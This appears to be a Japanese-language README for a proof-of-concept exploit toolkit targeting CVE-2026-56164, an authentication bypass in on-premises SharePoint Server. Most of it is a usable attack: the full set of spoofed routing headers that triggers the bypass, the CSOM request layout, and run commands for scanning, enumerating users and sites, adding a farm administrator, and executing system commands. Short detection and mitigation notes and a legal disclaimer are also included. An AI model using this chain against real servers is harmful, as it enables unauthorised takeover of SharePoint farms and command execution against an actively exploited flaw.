
CVE-2026-56164 は、オンプレミスの Microsoft SharePoint Server に影響する重大な認証欠落の脆弱性です。これにより、認証されていないリモートの攻撃者がネットワーク経由で権限を昇格できる可能性があります。
緊急 (CVSS 9.8) — Microsoft SharePoint Server における未認証の特権昇格によるファーム管理者権限の取得
CVE-2026-56164 は、Microsoft SharePoint Server における重大な認証欠落の脆弱性であり、未認証のリモート攻撃者がファーム管理者レベルまで権限を昇格させることを可能にします。この脆弱性は、/_vti_bin/client.svc/ProcessQuery で SOAP リクエストを処理する Microsoft.Office.Server.UserProfiles アセンブリに存在します。
X-RequestDigest ヘッダーを意図的に省略し、特定のルーティングヘッダーを提供することで、影響を受けるサーバーは未認証リクエストを拒否する代わりに、昇格されたセキュリティコンテキストにフォールバックします。これにより、匿名の攻撃者がサイトコレクション、ユーザー、ファーム構成の列挙、管理者の追加、コマンド実行を行うことが可能になります。
CISA KEV: この脆弱性は、実際の攻撃での悪用が確認されているため、CISA の Known Exploited Vulnerabilities Catalog (既知の悪用済み脆弱性カタログ) に掲載されています。
Microsoft.Office.Server.UserProfiles ハンドラーは、/_vti_bin/client.svc/ProcessQuery で SOAP リクエストを処理します。通常の動作では、SharePoint は X-RequestDigest ヘッダーを検証して認証コンテキストを確認します。しかし、検証バイパスが存在します:
X-RequestDigest が存在せず、かつ特定のルーティングヘッダーが存在する場合// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| 製品 | 影響を受けるバージョン | 修正版 |
|---|---|---|
| SharePoint Enterprise Server 2016 | パッチ適用前のすべての 16.0.x | 16.0.5561.1001 |
| SharePoint Server 2019 | パッチ適用前のすべての 16.0.x | 16.0.10417.20175 |
| SharePoint Server Subscription Edition | パッチ適用前のすべての 16.0.x |
影響なし: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
必要条件: Python 3.8+、requests ライブラリ (任意 — デフォルトでは標準ライブラリの urllib を使用)
このスキャナーは、影響を受ける SharePoint Server ターゲットを特定するために、安全で非侵入的なチェックを実行します。
python3 scan.py --target sharepoint.example.com
スキャナーは以下を実行します:
MicrosoftSharePointTeamServices ヘッダーから SharePoint バージョンを抽出python3 scan.py --target sharepoint.example.com --port 443
targets.txt ファイルを作成します:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
このエクスプロイトは、強度が増す 5 つのモードをサポートしています。
通常のリクエスト (ダイジェストあり) とバイパスリクエスト (ダイジェストなし + ルーティングヘッダー) を比較して、認証バイパスをテストします。
python3 exploit.py --target sharepoint.example.com --mode detect
認証バイパスを使用して、サイトコレクション、ユーザー、ファーム構成を抽出します。
python3 exploit.py --target sharepoint.example.com --mode enumerate
現在の匿名コンテキストまたは特定のユーザーを、サイトコレクション / ファーム管理者に昇格させます。
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
SharePoint Administration SOAP サービスを介してシステムコマンドを実行します。
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
完全なエクスプロイトチェーンを順番に実行します。
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: ターゲットポート (デフォルト: 443)--http: HTTPS の代わりに HTTP を使用--site-url / -s: SharePoint サイトの URL (デフォルト: ターゲット)--json / -j: レポートを JSON として保存--timeout: リクエストのタイムアウト (秒) (デフォルト: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ エンドポイントへの外部アクセスをブロック/_vti_bin/client.svc/ProcessQuery への未認証リクエストがないかログを監視X-RequestDigest ヘッダーのない /_vti_bin/client.svc/ProcessQuery への POST リクエストを探すX-SharePoint-Authenticated、SPHomeBearerHint など) を含むリクエストを探す/_vti_bin/SharePointAdmin.asmx への SOAP リクエストを警告このツールは、認可されたセキュリティテストおよび教育目的のみのために提供されています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。本番システムに対する無許可の使用は違法であり、コンピュータ詐欺および不正使用に関する法律に違反する可能性があります。
作者は、このツールの誤用について一切の責任を負いません。必ず責任ある開示の慣行に従い、適用法および規制を遵守してください。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-56164 |
| 深刻度 | CRITICAL |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: 重要な機能に対する認証の欠落 |
| 影響 | 未認証でのファーム管理者への権限昇格 |
| 悪用状況 | 活発な悪用 (CISA KEV) |
| MITRE ATT&CK | T1190 (公開アプリケーションの悪用) |
| 16.0.19725.20434 |
| インジケータ | 方法 |
|---|
| SharePoint Server | HTTP ヘッダーのフィンガープリンティング (MicrosoftSharePointTeamServices, SPRequestGuid) |
| サーバーバージョン | ヘッダーの解析 + レスポンスボディの正規表現 |
| 影響を受けるバージョン | CVE-2026-56164 の修正済みバージョンとの比較 |
| 認証バイパス | X-RequestDigest なしの CSOM リクエスト + バイパスルーティングヘッダー |
| SSL 証明書 | ターゲット識別のための証明書のサブジェクト/発行者 |
| ヘッダー | 値 | 目的 |
|---|
X-SharePoint-Authenticated | 1 | 認証が既に完了していると主張 |
X-SP-RequestRights | FullControl | フルコントロール権限を要求 |
X-SP-RequestRights2 | ManageLists, ManageWeb | 追加の管理権限 |
SPHomeBearerHint | farmadmin | ファーム管理者コンテキストを示唆 |
X-RequestForceAuthentication | false | 強制認証を無効化 |
X-SP-Proxy | internal | 内部プロキシ発信元と主張 |
X-Forwarded-For | 127.0.0.1 | ローカル発信元を偽装 |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | ルーティングディレクティブ |